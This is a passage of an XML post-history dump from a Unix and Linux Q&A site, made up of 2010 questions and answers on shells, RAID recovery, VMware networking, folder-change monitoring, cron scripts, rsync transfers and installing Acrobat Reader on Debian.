fairly quickly improved further, and bash caught up (with programmable completion) in the early 2000s. Therefore there is little reason to learn tcsh now.&#xD;&#xA;&#xD;&#xA;Fish tries to be cleaner than its predecessors. It has some neat features (simpler syntax, syntax coloring on the command line) but lacks others (whatever the author doesn't like). The fish community is a lot smaller than even zsh's, making the effects even more acute. See also [What are the differences between fish and zsh ?](http://superuser.com/questions/127587/what-are-the-differences-between-fish-and-zsh).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For scripting, there are several languages you might want to target, depending on how portable you want your scripts to be.&#xD;&#xA;&#xD;&#xA;* Anything that pretends to be unix-like has a [Bourne](http://en.wikipedia.org/wiki/Bourne_shell)-derived shell as `/bin/sh`. There are still some commercial unices around where `/bin/sh` is not [POSIX](http://en.wikipedia.org/wiki/POSIX) compliant.&#xD;&#xA;&#xD;&#xA;* Almost every now-running unix has an `sh` executable that is at least compliant with at least POSIX.2-1992 and usually at least [POSIX:2001 a.k.a. Single Unix v3](http://www.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html). This shell might live in a different directory such as `/usr/bin/posix` or `/usr/xpg6/bin`. POSIX emulation layers also exist for just about every system that's powerful enough to support it, making it an attractive target.&#xD;&#xA;&#xD;&#xA;* Most unix systems have [ksh93](http://www.kornshell.com/), which brings some very useful features that POSIX sh lacks (arrays, associative arrays, extended globs (`*(foo)`, `@(foo|bar)`, …), null globs (`~(N)foo*`), …). Ksh was initially commercial software (it became free in 2000, after some habits had set), so there might be a few systems left where ksh is unavailable or a much older free clone ([http://web.cs.mun.ca/~michael/pdksh/](pdksh)) many of these useful features.&#xD;&#xA;&#xD;&#xA;* [Bash](http://www.gnu.org/software/bash) is always available on Linux (except some embedded variants) and often on other unices. It has most of ksh93's useful features, though sometimes with a different syntax.&#xD;&#xA;&#xD;&#xA;* [Zsh](http://www.zsh.org/) has most of ksh93 and bash's useful features. Its core syntax is cleaner but incompatible with Bourne. Don't count on zsh being available on a system you didn't install.&#xD;&#xA;&#xD;&#xA;* For more advanced scripting, you can turn to [Perl](http://www.perl.org/) or [Python](http://www.python.org/). These languages have proper data structures, decent text manipulation features, decent process combination and communication mechanisms, and tons of available libraries. Most unix systems have them, either bundled with the OS or installed by the administrator (because there are so many Perl and Python scripts outt there that it's a rare system that doesn't have at least one of each).&#xD;&#xA;" />
  <row Id="7421" PostHistoryTypeId="2" PostId="3489" RevisionGUID="9db869fc-8d25-44a9-a753-31059157d786" CreationDate="2010-10-24T22:26:43.247" UserId="885" Text="If I understand you correctly, you want to change the prompt when you start the current command. I don't think bash has a prompt-changing feature, but you can perhaps redraw over the prompt, if you can locate it (not so easy for multi-line commands).&#xD;&#xA;&#xD;&#xA;In zsh, you would use the `precmd` function. Bash doesn't have a similar feature, but [it can be hacked up](http://superuser.com/questions/175799/does-bash-have-a-hook-that-is-run-before-executing-a-command).&#xD;&#xA;" />
  <row Id="7422" PostHistoryTypeId="4" PostId="3467" RevisionGUID="04d93e7c-1bc9-4be8-877b-597d1f2530ab" CreationDate="2010-10-25T05:13:04.267" UserId="912" Comment="edited title" Text="What does &quot;rc&quot; in .bashrc stand for?" />
  <row Id="7423" PostHistoryTypeId="5" PostId="3048" RevisionGUID="330f8ba8-3bb3-46fb-b617-5db0773909ec" CreationDate="2010-10-25T13:02:18.187" UserId="29" Comment="comment about backup" Text="I ran&#xD;&#xA;&#xD;&#xA;    mdadm -A /dev/md0 /dev/sda1 /dev/sdb1&#xD;&#xA;&#xD;&#xA;Only `/dev/sdb1` was loaded into the array though. I have a few more arrays on the same two drives too. Each time the partition on `sda` failed. `dmesg` told me that `sda` was out of sync... Since this was from a rescue cd. I've disconnected `sda` (hardware wise) for the time being, since it was preventing me from booting.&#xD;&#xA;&#xD;&#xA;How should I proceed? Is this likely the cause of a borked drive? I had some weird fs issues the other day I couldn't track down (maybe a precursor): missing files that later magically re-appeared. Maybe a missing cable?&#xD;&#xA;&#xD;&#xA;The main question is how do I try to re-sync the drive?&#xD;&#xA;&#xD;&#xA;    cat /proc/mdstat&#xD;&#xA;    Personalities : [raid10] &#xD;&#xA;    md3 : active raid10 sda4[1]&#xD;&#xA;          955683840 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md2 : active raid10 sda3[1]&#xD;&#xA;          10483712 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md1 : active raid10 sda2[1]&#xD;&#xA;          10484736 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md0 : active raid10 sda1[1]&#xD;&#xA;          101376 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;*update*&#xD;&#xA;&#xD;&#xA;I ran `badblocks` on the whole other drive, and a long `smartctl` test, it found no problems.&#xD;&#xA;&#xD;&#xA;a request output of `mdadm -D /dev/md0` *(I have md0-3 if others are needed)*&#xD;&#xA;&#xD;&#xA;    /dev/md0:&#xD;&#xA;            Version : 0.90&#xD;&#xA;      Creation Time : Mon May 31 20:24:14 2010&#xD;&#xA;         Raid Level : raid10&#xD;&#xA;         Array Size : 101376 (99.02 MiB 103.81 MB)&#xD;&#xA;      Used Dev Size : 101376 (99.02 MiB 103.81 MB)&#xD;&#xA;       Raid Devices : 2&#xD;&#xA;      Total Devices : 1&#xD;&#xA;    Preferred Minor : 0&#xD;&#xA;        Persistence : Superblock is persistent&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Oct 25 07:58:25 2010&#xD;&#xA;              State : clean, degraded&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 1&#xD;&#xA;     Failed Devices : 0&#xD;&#xA;      Spare Devices : 0&#xD;&#xA;    &#xD;&#xA;             Layout : far=2&#xD;&#xA;         Chunk Size : 512K&#xD;&#xA;    &#xD;&#xA;               UUID : 30ffe1d2:f5759995:820bb796:b5530bd2 (local to host slave-iv)&#xD;&#xA;             Events : 0.212&#xD;&#xA;    &#xD;&#xA;        Number   Major   Minor   RaidDevice State&#xD;&#xA;           0       0        0        0      removed&#xD;&#xA;           1       8        1        1      active sync   /dev/sda1&#xD;&#xA;&#xD;&#xA;Since I've found no actual issues with the drive, but obviously something went wrong, I'm wondering what I should do next? *as of today a full backup of important data is in place*" />
  <row Id="7424" PostHistoryTypeId="2" PostId="3490" RevisionGUID="dd859d53-1ea2-4649-9719-0733bd688c65" CreationDate="2010-10-25T13:32:49.537" UserId="131" Text="I am using gtk-recordmydesktop to record the video output to my desktop. However, the videos have no sound. All the tutorials I found regarding this involved getting sound recorded from a microphone, while I am interested in getting the sound output recorded. How can I do this? The official FAQ says &quot;The solution is in your mixer's settings. Keep playing with it ;).&quot; which doesn't clarify anything.&#xD;&#xA;&#xD;&#xA;How can I get the sound output recorded?" />
  <row Id="7425" PostHistoryTypeId="1" PostId="3490" RevisionGUID="dd859d53-1ea2-4649-9719-0733bd688c65" CreationDate="2010-10-25T13:32:49.537" UserId="131" Text="How can I record the sound output with gtk-recordmydesktop?" />
  <row Id="7426" PostHistoryTypeId="3" PostId="3490" RevisionGUID="dd859d53-1ea2-4649-9719-0733bd688c65" CreationDate="2010-10-25T13:32:49.537" UserId="131" Text="éaudioàérecordingà" />
  <row Id="7427" PostHistoryTypeId="5" PostId="3486" RevisionGUID="8639f3f1-716c-4091-90a0-7895d50337d5" CreationDate="2010-10-25T13:49:11.540" UserId="73" Comment="added 5 characters in body; edited title" Text="How do I add a label to a partition on a disk, and how do I then mount it by label (manually and via `fstab`)?&#xD;&#xA;&#xD;&#xA;*note: this is an external hard drive*&#xD;&#xA;" />
  <row Id="7428" PostHistoryTypeId="4" PostId="3486" RevisionGUID="8639f3f1-716c-4091-90a0-7895d50337d5" CreationDate="2010-10-25T13:49:11.540" UserId="73" Comment="added 5 characters in body; edited title" Text="Hard disk labels" />
  <row Id="7429" PostHistoryTypeId="2" PostId="3491" RevisionGUID="1bd97415-edca-49c6-a6e9-308261866f52" CreationDate="2010-10-25T14:06:47.137" UserId="2414" Text="Hi&#xD;&#xA;I have a PC with windows XP installed on it.  &#xD;&#xA;I've installed  VMware and a redhat on that to work with linux.  &#xD;&#xA;now I want to connect to our network via vmware and I dont know if I should change somthing in linux or in VMware?  &#xD;&#xA;in fact I don't have any IP set, to connect to the internet." />
  <row Id="7430" PostHistoryTypeId="1" PostId="3491" RevisionGUID="1bd97415-edca-49c6-a6e9-308261866f52" CreationDate="2010-10-25T14:06:47.137" UserId="2414" Text="how to get IP from DHCP in network in redhat which is installed on VMware" />
  <row Id="7431" PostHistoryTypeId="3" PostId="3491" RevisionGUID="1bd97415-edca-49c6-a6e9-308261866f52" CreationDate="2010-10-25T14:06:47.137" UserId="2414" Text="érhelàédhcpà" />
  <row Id="7432" PostHistoryTypeId="5" PostId="3491" RevisionGUID="5175cafd-8f96-4302-a36f-bf40e0c3d197" CreationDate="2010-10-25T14:12:12.270" UserId="73" Comment="deleted 62 characters in body; edited tags" Text="I'm running Red Hat inside a VMware image (on a Windows XP machine). I want to connect the Red Hat VM to our network; do I need to configure something inside VMware or inside Red Hat? I don't have any IPs set to connect to the internet" />
  <row Id="7433" PostHistoryTypeId="6" PostId="3491" RevisionGUID="5175cafd-8f96-4302-a36f-bf40e0c3d197" CreationDate="2010-10-25T14:12:12.270" UserId="73" Comment="deleted 62 characters in body; edited tags" Text="érhelàédhcpàévmwareà" />
  <row Id="7434" PostHistoryTypeId="2" PostId="3492" RevisionGUID="271748d1-d8a5-44af-9845-bfa4eb634e8c" CreationDate="2010-10-25T14:22:33.857" UserId="1941" Text="Red Hat is the name of a company, the last distribution called just Redhat Linux was 9.0 in 2003. Therefore I guess you are in fact running Redhat Enterprise Linux (RHEL).&#xD;&#xA;&#xD;&#xA;If you run a recent version, i.e. RHEL 5.x, the network connections are configured using a program called system-config-network. Normally, VMware should give the Linux system network access by means of a virtual network card out of the box, so the process should be self-explaining. &#xD;&#xA;&#xD;&#xA;If you need a guide, you can follow generic instructions for getting networking running on RHEL. See, e.g., http://www.cyberciti.biz/faq/rhel-centos-fedoracore-linux-network-card-configuration/" />
  <row Id="7435" PostHistoryTypeId="2" PostId="3493" RevisionGUID="cdea28f3-a611-4f4b-a270-6b4f1017ca8a" CreationDate="2010-10-25T14:30:00.080" UserId="1941" Text="If you use Pulseaudio, there is a howto in the [Ubuntu Wiki][1]. It basically boils down to using the pulse audio mixer, to re-route the sound from its source to audacity where it is saved instead of the default output (which would be you speakers).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.ubuntu.com/PulseAudio#Recording%20example%20using%20PulseAudio%20and%20Audacity" />
  <row Id="7436" PostHistoryTypeId="5" PostId="3488" RevisionGUID="567b9343-9149-4533-b01c-fc65c320a2a0" CreationDate="2010-10-25T14:43:09.343" UserId="125" Comment="added office suites; deleted 43 characters in body; deleted 7 characters in body; added 7 characters in body; added 7 characters in body" Text="You have three options: &#xD;&#xA;&#xD;&#xA;1) **Emulation** ([Wine][1], [Crossover Linux][2], [Bordeaux][3])&#xD;&#xA;&#xD;&#xA;2) **Virtualization** ([VMware Player][4] or [VMware Workstation][5], [Parallels Desktop][6], [Oracle Virtualbox][7])&#xD;&#xA;&#xD;&#xA;3) **[Dual Boot][8]**&#xD;&#xA;&#xD;&#xA;For C# development on Linux, [Mono Project][9] is the way to go. You can develop in [MonoDevelop][10] IDE and connect to SQL Server hosted in a virtual machine using [SQL Client][11] (for more info see: [Mono/ADO.NET][12], [Mono/ODBC][13], [Mono/Database Access][14])&#xD;&#xA;&#xD;&#xA;For more information about Mono have a look at the Start page: http://mono-project.com/Start and [Mono FAQ Technical][15], [Mono FAQ General][16], [Mono ASP.NET FAQ][17], [Mono WinForms FAQ][18], [Mono Security FAQ][19]&#xD;&#xA;&#xD;&#xA;Also see their [Plans][20] and [Roadmap][21]&#xD;&#xA;&#xD;&#xA;Thanks to the Mono project you can even build apps with C# for Apple devices using [Monotouch][22] or for Android using [Monodroid.][23]&#xD;&#xA;&#xD;&#xA;Also if you want to have the latest version of Mono and tools I recommend using [**openSUSE**][24] because thats the first place where you'll find the latest updates, Mono being a project backed by Novell which is the company that also sponsors openSUSE distribution.&#xD;&#xA;&#xD;&#xA;EDIT: (Completing the Office part of the question)&#xD;&#xA;&#xD;&#xA;**// Office suites //**&#xD;&#xA;&#xD;&#xA;1) IBM Lotus Symphony -&gt; http://symphony.lotus.com/software/lotus/symphony/home.nsf/home&#xD;&#xA;&#xD;&#xA;2) Oracle OpenOffice -&gt; http://www.oracle.com/us/products/applications/open-office/index.html&#xD;&#xA;&#xD;&#xA;3) OpenOffice.org -&gt; http://www.openoffice.org/&#xD;&#xA;&#xD;&#xA;4) GNOME Office -&gt; http://live.gnome.org/GnomeOffice&#xD;&#xA;&#xD;&#xA;5) Go-oo.org -&gt; http://go-oo.org/&#xD;&#xA;&#xD;&#xA;6) SoftMaker Office -&gt; http://www.softmaker.com/english/ofl_en.htm&#xD;&#xA;&#xD;&#xA;7) KOffice -&gt; http://www.koffice.org/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**// Online Office suites //**&#xD;&#xA;&#xD;&#xA;0) Microsoft Office Online -&gt; http://www.officelive.com/en-us/&#xD;&#xA;&#xD;&#xA;1) Google Apps -&gt; http://docs.google.com/&#xD;&#xA;&#xD;&#xA;2) Zoho -&gt; http://www.zoho.com/&#xD;&#xA;&#xD;&#xA;3) ThinkFree -&gt; http://thinkfree.com&#xD;&#xA;&#xD;&#xA;4) Live-Documents -&gt; http://www.live-documents.com/&#xD;&#xA;&#xD;&#xA;5) Ajax13 -&gt; http://us.ajax13.com/en/&#xD;&#xA;&#xD;&#xA;6) ContactOffice -&gt; http://www.contactoffice.com/&#xD;&#xA;&#xD;&#xA;7) FengOffice -&gt; http://www.fengoffice.com/web/&#xD;&#xA;&#xD;&#xA;8) Zimbra -&gt; http://www.zimbra.com/ &#xD;&#xA;&#xD;&#xA;  [1]: http://www.winehq.org/&#xD;&#xA;  [2]: http://www.codeweavers.com/products/cxlinux/&#xD;&#xA;  [3]: http://www.bordeauxgroup.com/&#xD;&#xA;  [4]: http://www.vmware.com/products/player/&#xD;&#xA;  [5]: http://www.vmware.com/products/workstation/&#xD;&#xA;  [6]: http://www.parallels.com/eu/products/desktop/pd4wl/&#xD;&#xA;  [7]: http://www.virtualbox.org/&#xD;&#xA;  [8]: https://help.ubuntu.com/community/WindowsDualBoot&#xD;&#xA;  [9]: http://www.mono-project.com/Main_Page&#xD;&#xA;  [10]: http://monodevelop.com/&#xD;&#xA;  [11]: http://www.mono-project.com/SQLClient&#xD;&#xA;  [12]: http://www.mono-project.com/ADO.NET&#xD;&#xA;  [13]: http://www.mono-project.com/ODBC&#xD;&#xA;  [14]: http://www.mono-project.com/Database_Access&#xD;&#xA;  [15]: http://www.mono-project.com/FAQ:_Technical&#xD;&#xA;  [16]: http://www.mono-project.com/FAQ:_General&#xD;&#xA;  [17]: http://mono-project.com/FAQ:_ASP.NET&#xD;&#xA;  [18]: http://www.mono-project.com/FAQ:_WinForms&#xD;&#xA;  [19]: http://www.mono-project.com/FAQ:_Security&#xD;&#xA;  [20]: http://www.mono-project.com/Plans&#xD;&#xA;  [21]: http://www.mono-project.com/Roadmap&#xD;&#xA;  [22]: http://monotouch.net/&#xD;&#xA;  [23]: http://monodroid.net/&#xD;&#xA;  [24]: http://www.opensuse.org/en/" />
  <row Id="7437" PostHistoryTypeId="2" PostId="3494" RevisionGUID="10ef76f7-fcd1-4272-b983-ec0a1b428eee" CreationDate="2010-10-25T15:20:45.083" UserId="2333" Text="I have a folder shared with others through Dropbox. When a file is added to this folder, I get a system tray notification in KDE --- but of course if I'm not at my computer, I wouldn't see the notification. Is there a way to automatically log any changes within a folder (especially file creation), and/or automatically run a bash script to, say, send an email to myself as a more durable &quot;alert&quot;?&#xD;&#xA;&#xD;&#xA;A google search turned up [incron][1] ... It sounds about right. Has anyone used this software?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtoforge.com/triggering-commands-on-file-or-directory-changes-with-incron" />
  <row Id="7438" PostHistoryTypeId="1" PostId="3494" RevisionGUID="10ef76f7-fcd1-4272-b983-ec0a1b428eee" CreationDate="2010-10-25T15:20:45.083" UserId="2333" Text="How can I have activity in a folder logged?" />
  <row Id="7439" PostHistoryTypeId="3" PostId="3494" RevisionGUID="10ef76f7-fcd1-4272-b983-ec0a1b428eee" CreationDate="2010-10-25T15:20:45.083" UserId="2333" Text="éshellà" />
  <row Id="7440" PostHistoryTypeId="2" PostId="3495" RevisionGUID="7be04c28-a42c-407d-b946-e70bc5c1f966" CreationDate="2010-10-25T15:24:06.047" UserId="455" Text="It's a pretty straightforward usecase of inotify, unfortunately that's a programming API, not a user utility." />
  <row Id="7441" PostHistoryTypeId="2" PostId="3496" RevisionGUID="0447b417-2a6b-41e0-bfe3-f80be7b13c8e" CreationDate="2010-10-25T15:57:30.480" UserId="195" Text="Presuming that you have a DHCP server set up on your internal network, all you should need to do is to &lt;b&gt;configure the VMware virtual NIC to be in bridged mode&lt;/b&gt;; this tells VMWare to act as a virtual bridge with respect to any packets the virtual machine sends out. When I say a vitrual bridge, I mean a device that just crosses the border between virtual and physical." />
  <row Id="7442" PostHistoryTypeId="2" PostId="3497" RevisionGUID="d2d70c5e-09ea-41a7-bd34-65db34f84fd0" CreationDate="2010-10-25T16:01:11.070" UserId="1416" Text="Is it possible to change the name of a buffer in vim?&#xD;&#xA;&#xD;&#xA;Specifically, I'm using [Conque Shell][1] to open shells in vim (each shell is in a buffer) and with multiple shells, I see: &#xD;&#xA;&#xD;&#xA;    10: bash - 1&#xD;&#xA;    11: bash - 2&#xD;&#xA;&#xD;&#xA;in my buffer list. I would like to rename these buffers with more meaningful names (e.g., &quot;mercurial&quot; instead of &quot;bash - 2&quot;). Is it possible?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vim.org/scripts/script.php?script_id=2771" />
  <row Id="7443" PostHistoryTypeId="1" PostId="3497" RevisionGUID="d2d70c5e-09ea-41a7-bd34-65db34f84fd0" CreationDate="2010-10-25T16:01:11.070" UserId="1416" Text="How to change the name of a vim buffer" />
  <row Id="7444" PostHistoryTypeId="3" PostId="3497" RevisionGUID="d2d70c5e-09ea-41a7-bd34-65db34f84fd0" CreationDate="2010-10-25T16:01:11.070" UserId="1416" Text="évimàébufferà" />
  <row Id="7449" PostHistoryTypeId="2" PostId="3499" RevisionGUID="ee73c797-5675-4de1-9fae-6da3c8aef373" CreationDate="2010-10-25T17:17:36.463" UserId="1327" Text="I have to following **cron** script that runs daily. As you should be able to see from the code, it outputs the results from `reflector` to `/etc/pacman.d/mirrorlist`.&#xD;&#xA;&#xD;&#xA;    $ cat /etc/cron.daily/update-mirrorlist&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    reflector -l 5 -r -o /etc/pacman.d/mirrorlist&#xD;&#xA;&#xD;&#xA;Sometimes, `reflector` outputs a empty file and thus a invalid *mirrorlist* is created.&#xD;&#xA;&#xD;&#xA;How can I modify the script above to only write to `/etc/pacman.d/mirrorlist` **IF** there is valid output from `relfector`?" />
  <row Id="7450" PostHistoryTypeId="1" PostId="3499" RevisionGUID="ee73c797-5675-4de1-9fae-6da3c8aef373" CreationDate="2010-10-25T17:17:36.463" UserId="1327" Text="Stop cron script from destroying my mirrorlist with invalid data." />
  <row Id="7451" PostHistoryTypeId="3" PostId="3499" RevisionGUID="ee73c797-5675-4de1-9fae-6da3c8aef373" CreationDate="2010-10-25T17:17:36.463" UserId="1327" Text="ébashàéarchölinuxàécronà" />
  <row Id="7452" PostHistoryTypeId="2" PostId="3500" RevisionGUID="f57575be-0216-43bf-88da-96d8bafbc7ce" CreationDate="2010-10-25T17:25:16.007" UserId="2359" Text="You probably want [inoticoming][1], which is a user space command that uses the inotify framework.  You can use it to watch a directory and execute the script of your choice, which can then do anything you want.&#xD;&#xA;&#xD;&#xA;I've used this extensively for monitoring directories for file activity and it works well.&#xD;&#xA;&#xD;&#xA; [1]: http://www.ibm.com/developerworks/linux/library/l-ubuntu-inotify/index.html&#xD;&#xA;" />
  <row Id="7453" PostHistoryTypeId="2" PostId="3501" RevisionGUID="8ce03574-2f28-45e7-9b05-8738a2b38115" CreationDate="2010-10-25T18:04:30.653" UserId="885" Text="It's a good idea to first accumulate the data, then move it into place. That way the target file will always be valid, even while the data accumulator program is running.&#xD;&#xA;&#xD;&#xA;    set -e&#xD;&#xA;    target=/etc/pacman.d/mirrorlist&#xD;&#xA;    reflector -l 5 -r -o &quot;$target.tmp&quot;&#xD;&#xA;    mv -f -- &quot;$target.tmp&quot; &quot;$target&quot;&#xD;&#xA;&#xD;&#xA;If `reflector` does not properly report errors by returning a nonzero status, add your own validation test before the `mv` command, for example `test -s &quot;$target.tmp&quot;` to test that the file is not empty.&#xD;&#xA;&#xD;&#xA;If you want to keep a backup of the old version, add `ln -f -- &quot;$target&quot; &quot;$target.old&quot; || true` before the `mv` command.&#xD;&#xA;" />
  <row Id="7458" PostHistoryTypeId="5" PostId="2558" RevisionGUID="b9a55c68-2bc4-4f4a-8599-4689ac06301a" CreationDate="2010-10-25T19:42:48.173" UserId="116" Comment="added 16 characters in body" Text="For a single file instead of using SFTP you could pipe the file over ssh using `cat` or `pv` at the sending side and using `tee` on the middle server to both send the data to a file there and send a copy over the another ssh link the other side of which just writes the data to a file. The exact voodoo required I'll leave as an exercise for the reader, as I've not got time to play right now (sorry). This method would only work if the second destination is publicly accessible via SSH which may not be the case as you describe it as a client machine.&#xD;&#xA;&#xD;&#xA;Another approach, which is less &quot;run and wait&quot; but may otherwise be easier, it to use `rsync` between the server and client B. The first time you run this it may get a partial copy of the data, but you can just re-run it to get more data afterwards (with one final run once the Client1-&gt;Server transfer is complete). This will only work if the server puts the data direct into the right file-name during the SFTP transfer (sometimes you will see the data going into a temporary file which is then renamed once the file is completely transferred - this is done to make the file update more atomic but will render the rsync idea unusable). You could also use rsync for the C1-&gt;S transfer instead of scp (if you use the `--inplace` option to avoid the problem mentioned above) - using rsync would also give you protection against needing to resend everything if the C1-&gt;Server connection experiences problems during a large transfer (I tend to use `rsync --inplace -a --progress &lt;source&gt; &lt;dest&gt;` instead of scp/sftp when rsync is available, for this &quot;transfer resume&quot; behaviour).&#xD;&#xA;&#xD;&#xA;To summarise the above, running:&#xD;&#xA;&#xD;&#xA;    rsync --inplace -a --progress &lt;source&gt; user@server:/&lt;destination_file_or_folder&gt;&#xD;&#xA;on client1 then running&#xD;&#xA;&#xD;&#xA;    rsync --inplace -a --progress user@server:/&lt;destination_file_or_folder&gt; &lt;destination_on_cli2&gt;&#xD;&#xA;on client2 repeatedly until the first transfer is complete (then running once more to make sure you've got everything). `rsync` is very good at only transferring the absolute minimum it needs to update a location instead of transferring the whole lot each time. For paranoia you might want to add the `--checksum` option to the rsync commands (which will take much more CPU time for large files but won't result in significantly more data being transfered unless it is needed) and for speed the `--compress` option will help if the data you are transferring is not already in a compressed format." />
  <row Id="7459" PostHistoryTypeId="2" PostId="3504" RevisionGUID="fc5fc3c4-7e4b-4a70-914a-bc72ab1a7922" CreationDate="2010-10-25T21:11:14.560" UserId="312" Text="I'm using Ubuntu Maverick and this is the setup:&#xD;&#xA;&#xD;&#xA;Our router connects us to the company's VPN through which we can access some internal websites. I have to connect also to a customer's VPN in order to use remote desktop and their websites daily.&#xD;&#xA;&#xD;&#xA;This customer has a web interface to connect to its VPN, it launches a Java App which signs us in and lets us use the services on their network.&#xD;&#xA;&#xD;&#xA;When I do this, I loose access to my company's VPN services (websites) in all browsers. This doesn't happen in the rest of the (Windows) boxes, and I'm the only one using GNU/Linux on the office.&#xD;&#xA;&#xD;&#xA;Right now, I log out of the customer's VPN to access the company's services, but I'm sure there's some solution so that I can use both VPNs together.&#xD;&#xA;" />
  <row Id="7460" PostHistoryTypeId="1" PostId="3504" RevisionGUID="fc5fc3c4-7e4b-4a70-914a-bc72ab1a7922" CreationDate="2010-10-25T21:11:14.560" UserId="312" Text="VPN issues on web browsing" />
  <row Id="7461" PostHistoryTypeId="3" PostId="3504" RevisionGUID="fc5fc3c4-7e4b-4a70-914a-bc72ab1a7922" CreationDate="2010-10-25T21:11:14.560" UserId="312" Text="élinuxàéubuntuàénetworkingàéprivateönetworkà" />
  <row Id="7463" PostHistoryTypeId="2" PostId="3505" RevisionGUID="8f2ffbd0-fd88-45df-b34b-09b10a13adfd" CreationDate="2010-10-25T21:47:26.700" UserId="688" Text="I got `deb http://debian-multimedia.org squeeze main` in &quot;/etc/apt/sources.list&quot; but `wajig update; wajig install acroread` results in `E: Package ‘acroread’ has no installation candidate`. What’s happening? Are there alternatives repos?" />
  <row Id="7464" PostHistoryTypeId="1" PostId="3505" RevisionGUID="8f2ffbd0-fd88-45df-b34b-09b10a13adfd" CreationDate="2010-10-25T21:47:26.700" UserId="688" Text="how to install Adobe Acrobat Reader in Debian" />
  <row Id="7465" PostHistoryTypeId="3" PostId="3505" RevisionGUID="8f2ffbd0-fd88-45df-b34b-09b10a13adfd" CreationDate="2010-10-25T21:47:26.700" UserId="688" Text="édebianà" />
  <row Id="7466" PostHistoryTypeId="5" PostId="3505" RevisionGUID="01ee6dc2-7f90-454c-a2f6-a19b04292de5" CreationDate="2010-10-25T21:50:19.090" UserId="73" Comment="added 12 characters in body; edited tags; edited title; edited title" Text="I've got `deb http://debian-multimedia.org squeeze main` in `/etc/apt/sources.list`, but `wajig update; wajig install acroread` results in:&#xD;&#xA;&#xD;&#xA;&gt; E: Package ‘acroread’ has no installation candidate&#xD;&#xA;&#xD;&#xA;What’s happening? Are there alternatives repos?&#xD;&#xA;" />
  <row Id="7467" PostHistoryTypeId="6" PostId="3505" RevisionGUID="01ee6dc2-7f90-454c-a2f6-a19b04292de5" CreationDate="2010-10-25T21:50:19.090" UserId="73" Comment="added 12 characters in body; edited tags; edited title; edited title" Text="éinstallàédebianà" />
  <row Id="7468" PostHistoryTypeId="4" PostId="3505" RevisionGUID="01ee6dc2-7f90-454c-a2f6-a19b04292de5" CreationDate="2010-10-25T21:50:19.090" UserId="73" Comment="added 12 characters in body; edited tags; edited title; edited title" Text="How to install Adobe Acrobat Reader in Debian?" />
  <row Id="7469" PostHistoryTypeId="10" PostId="2051" RevisionGUID="c10f63f9-8c2b-4133-8168-c26463bb83f6" CreationDate="2010-10-25T22:02:00.110" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="7470" PostHistoryTypeId="5" PostId="2051" RevisionGUID="38d693b8-1583-4f05-a5d8-a3d877de2e7c" CreationDate="2010-10-25T22:02:00.233" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [best way to search my shell&amp;#39;s history](http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;In MSDOS I have the option to start typing some characters of a previous command and then pressing &lt;kbd&gt;F8&lt;/kbd&gt; it will search the command history buffer for the first occurrence of these characters. Repeatedly pressing &lt;kbd&gt;F8&lt;/kbd&gt; will continue the search for the next match.&#xD;&#xA;&#xD;&#xA;I love this functionality! Does it exist on Linux/UNIX?&#xD;&#xA;" />
  <row Id="7471" PostHistoryTypeId="2" PostId="3506" RevisionGUID="c14f78be-752c-49e7-ad91-eaa4cd013e1a" CreationDate="2010-10-25T22:13:18.740" UserId="1207" Text="The problem is that you have just added `main` to your sources.list.  I believe that `acroread` is in the non-free part of the respository, so you will want to add:&#xD;&#xA;&#xD;&#xA;    deb http://debian-multimedia.org squeeze non-free&#xD;&#xA;&#xD;&#xA;to `/etc/apt/sources.list`, and then update and install.&#xD;&#xA;" />
  <row Id="7472" PostHistoryTypeId="2" PostId="3507" RevisionGUID="1bfda32e-dcf6-4d46-9821-a02c1ac61557" CreationDate="2010-10-25T22:15:04.207" UserId="1170" Text="Bash seems to differentiate between variables which have been exported and those which have not.&#xD;&#xA;&#xD;&#xA;example:&#xD;&#xA;&#xD;&#xA;    $ FOO=BAR&#xD;&#xA;    $ env | grep FOO&#xD;&#xA;    $ set | grep FOO&#xD;&#xA;    FOO=BAR&#xD;&#xA;    $ export BAR=FOO&#xD;&#xA;    $ env | grep FOO&#xD;&#xA;    BAR=FOO&#xD;&#xA;    $ set | grep FOO&#xD;&#xA;    BAR=FOO&#xD;&#xA;    FOO=BAR&#xD;&#xA;&#xD;&#xA;I know that `set` is a bash builtin and `env` is not.&#xD;&#xA;&#xD;&#xA;What are the differences between variables which are exported and those which are not?" />
  <row Id="7473" PostHistoryTypeId="1" PostId="3507" RevisionGUID="1bfda32e-dcf6-4d46-9821-a02c1ac61557" CreationDate="2010-10-25T22:15:04.207" UserId="1170" Text="Difference between environment variables and exported environment variables in bash" />
  <row Id="7474" PostHistoryTypeId="3" PostId="3507" RevisionGUID="1bfda32e-dcf6-4d46-9821-a02c1ac61557" CreationDate="2010-10-25T22:15:04.207" UserId="1170" Text="ébashà" />
